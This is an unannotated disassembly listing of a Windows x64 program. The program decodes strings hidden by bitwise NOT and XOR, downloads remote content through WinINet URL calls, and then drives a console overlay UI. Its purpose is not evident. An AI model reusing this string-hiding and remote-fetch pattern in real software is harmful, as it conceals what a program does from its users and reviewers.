mov qword [rbp + 0x68], r12
mov qword [rbp + 0x70], 0xf
mov byte [rbp + 0x58], r12b
cmp rdx, 0xf
jbe 0x14005c70e
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c709
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6f0
call fcn.14006868c
mov rdx, qword [rbp - 0x80]
mov qword [rbp + 0x300], r12
mov qword [rbp + 0x308], 0xf
mov byte [rbp + 0x2f0], r12b
cmp rdx, 0xf
jbe 0x14005c763
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c75e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6f0
call fcn.14006868c
mov rdx, qword [rbp + 0x48]
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], r12b
cmp rdx, 0xf
jbe 0x14005c7b0
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c7ab
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6f0
call fcn.14006868c
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14005c7eb
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c7e6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6f0
call fcn.14006868c
lea rcx, [rbp + 0x29]
call fcn.14004def0
mov r14, rax
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp byte [rax + rdi], r12b
jne 0x14005c800
lea rcx, [rdi + 1]
call fcn.140068a64
mov rsi, rax
mov rdx, r12
test rdi, rdi
je 0x14005c904
cmp rdi, 8
jb 0x14005c8e0
dec rax
lea rcx, [r14 - 1]
add rax, rdi
add rcx, rdi
cmp rsi, rcx
ja 0x14005c846
cmp rax, r14
jae 0x14005c8e0
cmp rdi, 0x40
jb 0x14005c8ae
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, r14
lea rax, [rsi + 0x10]
sub rcx, rsi
nop dword [rax]
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005c860
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005c8db
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, r14
lea rax, [rdx + rsi]
sub r8, rsi
nop
movq xmm0, qword [r8 + rax]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005c8c0
cmp rdx, rdi
jae 0x14005c904
sub r14, rsi
lea rcx, [rdx + rsi]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [r14 + rcx]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x14005c8f0
mov byte [rdi + rsi], r12b
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r12
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x80], r12
inc r8
cmp byte [rsi + r8], r12b
jne 0x14005c920
mov rdx, rsi
lea rcx, [rsp + 0x68]
call fcn.14004a970
mov rcx, rsi
call fcn.14006868c
cmp qword [rbp - 0x80], 0xf
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x20], r12d
cmova rcx, qword [rsp + 0x68]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdx, qword [rbp - 0x80]
mov r15, rax
cmp rdx, 0xf
jbe 0x14005c9a2
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c99d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6f7
call fcn.14006868c
lea rcx, [rbp + 0x3a8]
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], r12b
call fcn.14004e5a0
test r15, r15
je 0x14005ce4b
cmp qword [rbp + 0x390], 0xf
lea rdx, [rbp + 0x378]
mov qword [rsp + 0x28], r12
mov rcx, r15
cmova rdx, qword [rbp + 0x378]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x14005ce4b
nop word [rax + rax]
lea r9, [rbp + 0x3a4]
mov r8d, 0x7d0
lea rdx, [rbp + 0x5d10]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r8d, dword [rbp + 0x3a4]
lea rdx, [rbp + 0x5d10]
lea rcx, [rbp + 0x3a8]
call fcn.140060250
xor edx, edx
lea rcx, [rbp + 0x5d10]
mov r8d, 0x7d0
call fcn.1400699d2
cmp dword [rbp + 0x3a4], r12d
jne 0x14005ca10
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rbp + 0x28]
call fcn.14004e200
mov rsi, rax
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp byte [rax + rdi], r12b
jne 0x14005ca90
lea rcx, [rdi + 1]
call fcn.140068a64
mov r14, rax
mov rdx, r12
test rdi, rdi
je 0x14005cb93
cmp rdi, 8
jb 0x14005cb70
lea rax, [rdi - 1]
lea rcx, [rsi - 1]
add rax, r14
add rcx, rdi
cmp r14, rcx
ja 0x14005cad7
cmp rax, rsi
jae 0x14005cb70
cmp rdi, 0x40
jb 0x14005cb3e
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, rsi
lea rax, [r14 + 0x10]
sub rcx, r14
nop
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005caf0
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005cb6b
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, rsi
lea rax, [rdx + r14]
sub r8, r14
nop
movq xmm0, qword [rax + r8]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005cb50
cmp rdx, rdi
jae 0x14005cb93
sub rsi, r14
lea rcx, [rdx + r14]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [rcx + rsi]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x14005cb80
mov rdx, r14
mov byte [rdi + r14], r12b
lea rcx, [rbp + 0xd0]
call fcn.14004a930
mov rcx, r14
call fcn.14006868c
lea rcx, [rbp + 0xd0]
call fcn.1400601b0
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.14004a930
lea rcx, [rbp + 0x25]
call fcn.14004e120
mov rsi, rax
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp byte [rax + rdi], r12b
jne 0x14005cbe0
lea rcx, [rdi + 1]
call fcn.140068a64
mov r14, rax
mov rdx, r12
test rdi, rdi
je 0x14005cce3
cmp rdi, 8
jb 0x14005ccc0
lea rax, [rdi - 1]
lea rcx, [rsi - 1]
add rax, r14
add rcx, rdi
cmp r14, rcx
ja 0x14005cc27
cmp rax, rsi
jae 0x14005ccc0
cmp rdi, 0x40
jb 0x14005cc8e
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, rsi
lea rax, [r14 + 0x10]
sub rcx, r14
nop
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005cc40
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005ccbb
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, rsi
lea rax, [rdx + r14]
sub r8, r14
nop
movq xmm0, qword [r8 + rax]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005cca0
cmp rdx, rdi
jae 0x14005cce3
sub rsi, r14
lea rcx, [rdx + r14]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [rsi + rcx]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x14005ccd0
mov rdx, r14
mov byte [r14 + rdi], r12b
lea rcx, [rbp - 0x30]
call fcn.14004a930
mov rcx, r14
call fcn.14006868c
lea rcx, [rbp - 0x30]
call fcn.1400601b0
mov rdx, rax
lea rcx, [rbp + 0x58]
call fcn.14004a930
lea rdx, [rbp + 0x3a8]
lea rcx, [rbp + 0x78]
call fcn.1400604a0
xor r8d, r8d
lea rdx, [rbp + 0x58]
mov rcx, rax
mov rsi, rax
call fcn.1400600a0
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14005cd7d
nop dword [rax + rax]
lea rcx, [rbp + 0x58]
call fcn.1400601a0
lea r9, [rbp - 0x10]
mov r8, rax
mov rdx, rdi
mov rcx, rsi
call fcn.140060220
lea rcx, [rbp - 0x10]
call fcn.1400601a0
lea rdx, [rbp + 0x58]
mov rcx, rsi
lea r8, [rax + rdi]
call fcn.1400600a0
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14005cd40
mov rdx, rsi
lea rcx, [rbp + 0x350]
call fcn.140060470
mov rcx, rsi
call fcn.140060380
lea rcx, [rbp + 0x58]
call fcn.140060380
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14005cdd8
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005cdd3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6fe
call fcn.14006868c
mov rdx, qword [rbp + 8]
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], r12b
cmp rdx, 0xf
jbe 0x14005ce23
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ce1e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6fe
call fcn.14006868c
lea rcx, [rbp + 0xd0]
mov qword [rbp], r12
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], r12b
call fcn.140060380
lea rcx, [rbp + 0x350]
call fcn.140060380
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r15d, r15d
lea rdx, [0x14006da54]
xorps xmm0, xmm0
mov qword [rbp], r15
lea rcx, [rbp - 0x10]
mov qword [rbp + 8], r15
movups xmmword [rbp - 0x10], xmm0
lea r8d, [r15 + 2]
call fcn.14004a970
lea rcx, [rbp + 0x2a]
call fcn.14004e2e0
mov r14, rax
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp byte [rax + rdi], r12b
jne 0x14005ce90
lea rcx, [rdi + 1]
call fcn.140068a64
mov rsi, rax
mov rdx, r15
test rdi, rdi
je 0x14005cf94
cmp rdi, 8
jb 0x14005cf70
dec rax
lea rcx, [r14 - 1]
add rax, rdi
add rcx, rdi
cmp rsi, rcx
ja 0x14005ced6
cmp rax, r14
jae 0x14005cf70
cmp rdi, 0x40
jb 0x14005cf3e
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, r14
lea rax, [rsi + 0x10]
sub rcx, rsi
nop dword [rax]
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005cef0
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005cf6b
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, r14
lea rax, [rdx + rsi]
sub r8, rsi
nop
movq xmm0, qword [rax + r8]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005cf50
cmp rdx, rdi
jae 0x14005cf94
sub r14, rsi
lea rcx, [rdx + rsi]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [rcx + r14]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x14005cf80
xorps xmm0, xmm0
mov byte [rsi + rdi], r12b
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r15
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x18], r15
nop
inc r8
cmp byte [rsi + r8], r12b
jne 0x14005cfb0
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.14004a970
mov rcx, rsi
call fcn.14006868c
cmp qword [rbp - 0x18], 0xf
lea rdx, [rbp - 0x30]
xorps xmm0, xmm0
mov qword [rsp + 0x78], r15
cmova rdx, qword [rbp - 0x30]
mov r8, 0xffffffffffffffff
movups xmmword [rsp + 0x68], xmm0
mov qword [rbp - 0x80], r15
inc r8
cmp byte [rdx + r8], r12b
jne 0x14005cff3
lea rcx, [rsp + 0x68]
call fcn.14004a970
cmp qword [rbp + 0x3c0], 0xf
lea r14, [rbp + 0x3a8]
mov rsi, qword [rbp + 0x3b8]
movabs rax, 0x7fffffffffffffff
cmova r14, qword [rbp + 0x3a8]
xorps xmm0, xmm0
mov qword [rbp + 0x300], r15
mov qword [rbp + 0x308], r15
movups xmmword [rbp + 0x2f0], xmm0
cmp rsi, rax
ja 0x14005e867
cmp rsi, 0xf
ja 0x14005d077
mov qword [rbp + 0x300], rsi
mov qword [rbp + 0x308], 0xf
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x2f0], xmm0
jmp 0x14005d112
mov rdi, rsi
or rdi, 0xf
cmp rdi, rax
jbe 0x14005d096
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14005d0bd
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14005d0df
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005e861
mov rcx, rax
call fcn.1400689f4
mov rcx, rax
test rax, rax
je 0x14005e705
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14005d0ee
test rcx, rcx
je 0x14005d0eb
call fcn.1400689f4
jmp 0x14005d0ee
mov rax, r15
lea r8, [rsi + 1]
mov qword [rbp + 0x2f0], rax
mov rdx, r14
mov qword [rbp + 0x300], rsi
mov rcx, rax
mov qword [rbp + 0x308], rdi
call sub.VCRUNTIME140.dll_memcpy
xor r8d, r8d
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x2f0]
call fcn.1400600a0
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14005d177
nop
lea rcx, [rsp + 0x68]
call fcn.1400601a0
lea r9, [rbp - 0x10]
mov r8, rax
mov rdx, rdi
lea rcx, [rbp + 0x2f0]
call fcn.140060220
lea rcx, [rbp - 0x10]
call fcn.1400601a0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x2f0]
lea r8, [rax + rdi]
call fcn.1400600a0
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14005d130
movups xmm6, xmmword [rbp + 0x300]
mov rdx, qword [rbp - 0x80]
mov qword [rbp + 0x300], r15
mov qword [rbp + 0x308], 0xf
movups xmm8, xmmword [rbp + 0x2f0]
mov byte [rbp + 0x2f0], r12b
cmp rdx, 0xf
jbe 0x14005d1db
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d1d6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e705
call fcn.14006868c
mov rdx, qword [rbp - 0x18]
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], r12b
cmp rdx, 0xf
jbe 0x14005d228
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d223
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e705
call fcn.14006868c
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14005d263
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d25e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e705
call fcn.14006868c
mov rdx, qword [rbp + 0x3c0]
cmp rdx, 0xf
jbe 0x14005d2a4
mov rcx, qword [rbp + 0x3a8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d29f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e70c
call fcn.14006868c
mov rdx, qword [rbp + 0x390]
mov qword [rbp + 0x3b8], r15
mov qword [rbp + 0x3c0], 0xf
mov byte [rbp + 0x3a8], r12b
cmp rdx, 0xf
jbe 0x14005d2fe
mov rcx, qword [rbp + 0x378]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d2f9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e70c
call fcn.14006868c
psrldq xmm6, 8
movq rdx, xmm6
cmp rdx, 0xf
jbe 0x14005d340
inc rdx
movq rcx, xmm8
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d33b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e713
call fcn.14006868c
mov rdx, qword [rbp + 0x348]
cmp rdx, 0xf
jbe 0x14005d381
mov rcx, qword [rbp + 0x330]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d37c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e713
call fcn.14006868c
mov rdx, qword [rbp + 0x440]
mov qword [rbp + 0x340], r15
mov qword [rbp + 0x348], 0xf
mov byte [rbp + 0x330], r12b
cmp rdx, 0xf
jbe 0x14005d3db
mov rcx, qword [rbp + 0x428]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d3d6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e713
call fcn.14006868c
lea rcx, [rbp + 0x3f8]
mov qword [rbp + 0x438], r15
mov qword [rbp + 0x440], 0xf
mov byte [rbp + 0x428], r12b
call fcn.140060380
mov r12d, dword [rbp + 0x370]
cmp byte [0x140080d9a], 0
je 0x14005e5c0
movss xmm8, dword [0x140075ed8]
cmp dword [0x1400810b8], 0x78
jl 0x14005d439
mov byte [0x1400800d8], 0
mov dword [0x140080db8], r15d
jmp 0x14005e5c0
movaps xmm1, xmm8
movaps xmm0, xmm9
call fcn.14004e400
inc dword [0x1400810b8]
inc dword [0x140080db8]
jmp 0x14005e5c0
cmp byte [0x140080d9b], r8b
jne 0x14005e24e
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
lea rdx, [rbp + 0x4b8]
mov rdi, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
mov r8d, dword [rbp + 0x4bc]
mov r9d, 0x320
mov edx, dword [rbp + 0x4b8]
mov rcx, rdi
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x12c
call qword [sym.imp.USER32.dll_MoveWindow]
mov rax, qword [0x140080da0]
movaps xmm0, xmmword [0x140076060]
mov rcx, qword [0x140080dc0]
mov dword [rax + 0x38e8], 0x3f800000
mov dword [rax + 0x38ec], 0x3f800000
movups xmmword [rax + 0x39d4], xmm0
call fcn.14001edf0
lea rdx, [0x140081050]
lea rcx, [rbp + 0xd0]
call fcn.1400604a0
mov rdi, qword [0x140080da0]
mov rsi, rax
cmp qword [rax + 0x18], 0xf
mov rcx, qword [rdi + 0x4008]
movss xmm8, dword [rcx + 0x30]
movss xmm6, dword [rcx + 0x34]
jbe 0x14005d517
mov rax, qword [rax]
movss xmm2, dword [rdi + 0x3d40]
test rax, rax
jne 0x14005d52a
movaps xmm1, xmm9
jmp 0x14005d588
movss xmm0, dword [0x140075ecc]
lea rdx, [rbp + 0x200]
movss xmm3, dword [0x140075ec0]
mov rcx, qword [rdi + 0x3d38]
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm0
call fcn.14003ac80
movss xmm0, dword [rbp + 0x200]
addss xmm0, dword [0x140075de0]
movss xmm2, dword [rbp + 0x204]
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x200], xmm1
mov rax, qword [rdi + 0x4008]
subss xmm6, xmm2
movaps xmm0, xmm8
movaps xmm3, xmm15
subss xmm0, xmm1
movaps xmm1, xmm15
mov byte [rax + 0xc0], 1
mov rax, qword [rdi + 0x4008]
mulss xmm6, xmm10
mulss xmm0, xmm10
maxss xmm1, xmm6
maxss xmm3, xmm0
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
subss xmm1, dword [0x140075e74]
subss xmm8, xmm3
addss xmm0, xmm1
movaps xmm1, xmm3
subss xmm1, xmm15
movss dword [rax + 0x114], xmm0
movaps xmm0, xmm8
mov byte [rax + 0x151], 1
mov rax, qword [rdi + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rdi + 0x4008]
movss xmm2, dword [rax + 0x28]
subss xmm2, dword [rax + 0x8c]
addss xmm2, xmm1
movss dword [rax + 0x110], xmm2
mov byte [rax + 0x151], 1
call fcn.14001ef30
cmp qword [rsi + 0x10], 0
mov rdi, qword [0x140080da0]
movsd xmm8, qword [rdi + 0x3f58]
cvtpd2ps xmm8, xmm8
jbe 0x14005d80e
mulss xmm8, dword [0x140075ed4]
xor r14d, r14d
mov dword [rbp + 0x164], 0x3f800000
movss xmm6, dword [0x140075de8]
movd xmm0, r15d
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm11
addss xmm0, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
movaps xmm3, xmm0
mov dword [rbp + 0x2f0], 0
mulss xmm3, xmm10
lea rcx, [rdi + 0x4a80]
lea rdx, [rbp + 0x2f0]
movaps xmm0, xmm6
movaps xmm2, xmm6
addss xmm3, xmm10
movaps xmm1, xmm3
mulss xmm1, xmm12
subss xmm2, xmm1
movaps xmm1, xmm3
mulss xmm1, xmm13
mulss xmm3, xmm14
subss xmm0, xmm1
movss dword [rbp + 0x158], xmm2
subss xmm6, xmm3
movss dword [rbp + 0x15c], xmm0
movups xmm0, xmmword [rdi + 0x39d4]
movss dword [rbp + 0x160], xmm6
movups xmmword [rbp + 0x2f4], xmm0
call fcn.14002a420
cmp dword [rdi + 0x4a7c], 0
je 0x14005d719
movups xmm0, xmmword [rbp + 0x158]
movups xmmword [rdi + 0x39d4], xmm0
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rax
mov rax, qword [rsi + 0x10]
movups xmmword [rbp - 0x30], xmm0
cmp rax, r14
jb 0x14005e855
sub rax, r14
mov r8d, 1
cmp rax, r8
cmovb r8, rax
cmp qword [rsi + 0x18], 0xf
mov rax, rsi
jbe 0x14005d754
mov rax, qword [rsi]
lea rdx, [r14 + rax]
lea rcx, [rbp - 0x30]
call fcn.14004a970
cmp qword [rbp - 0x18], 0xf
lea rcx, [rbp - 0x30]
cmova rcx, qword [rbp - 0x30]
xor edx, edx
call fcn.140040b90
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14005d7b1
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d7ac
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e71a
call fcn.14006868c
movaps xmm1, xmm9
movaps xmm0, xmm9
call fcn.1400223a0
mov rdi, qword [0x140080da0]
movsxd rax, dword [rdi + 0x4a80]
cmp eax, 1
jl 0x14005d7f7
mov rcx, qword [rdi + 0x4a88]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [rdi + rax*8 + 0x39d4], xmm0
dec dword [rdi + 0x4a80]
inc r15d
movsxd r14, r15d
cmp r14, qword [rsi + 0x10]
jb 0x14005d66c
mov r14d, dword [0x140080088]
mov rax, qword [rdi + 0x4008]
mov byte [rax + 0xc0], 1
mov r8, qword [rdi + 0x4008]
movsxd rdx, dword [r8 + 0x1e8]
mov rax, qword [r8 + 0x1f0]
mov ecx, dword [rax + rdx*4 - 4]
lea eax, [rdx - 1]
mov dword [r8 + 0x1d4], ecx
mov dword [r8 + 0x1e8], eax
call fcn.14001ee90
mov ecx, 1
call fcn.1400125a0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x14005d88f
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x14005d88a
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005e721
mov rcx, r8
call fcn.14006868c
xor r15d, r15d
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], 0xf
mov byte [rsi], r15b
call fcn.14001ee90
mov eax, dword [0x1400810c8]
cmp eax, 0x118
je 0x14005d8b5
inc eax
mov rcx, qword [0x140080da0]
movaps xmm0, xmmword [0x140076010]
movss xmm8, dword [0x140075e58]
mov dword [0x1400810c8], eax
movups xmmword [rcx + 0x39d4], xmm0
mov rax, qword [rcx + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
addss xmm0, dword [0x140075e88]
movss dword [rax + 0x114], xmm0
mov byte [rax + 0x151], 1
mov rax, qword [rcx + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
mov rcx, qword [0x140080dc8]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, xmm8
movss dword [rax + 0x110], xmm0
mov byte [rax + 0x151], 1
call fcn.14001edf0
movzx eax, byte [0x140075a40]
lea rcx, [rbp - 0x40]
movsd xmm0, qword [str.rWVYBVM]
xor al, 0x3b
movsd qword [rbp - 0x40], xmm0
xor byte [rbp - 0x3f], 0x34
xor byte [rbp - 0x3e], 0x35
xor byte [rbp - 0x3d], 0x36
xor byte [rbp - 0x3c], 0x37
xor byte [rbp - 0x3b], 0x38
xor byte [rbp - 0x3a], 0x39
xor byte [rbp - 0x39], 0x3a
mov byte [rbp - 0x38], al
mov byte [rbp - 0x40], 0x41
call fcn.140041260
call fcn.14001ee90
mov rcx, qword [0x140080da0]
lea r9, [rbp + 0x118]
movaps xmm1, xmmword [0x140076060]
lea r8, [rbp + 0x120]
lea rdx, [rbp + 0x128]
mov dword [rbp + 0x118], 0x3f800000
movups xmmword [rbp + 0x330], xmm1
mov rax, qword [rcx + 0x4008]
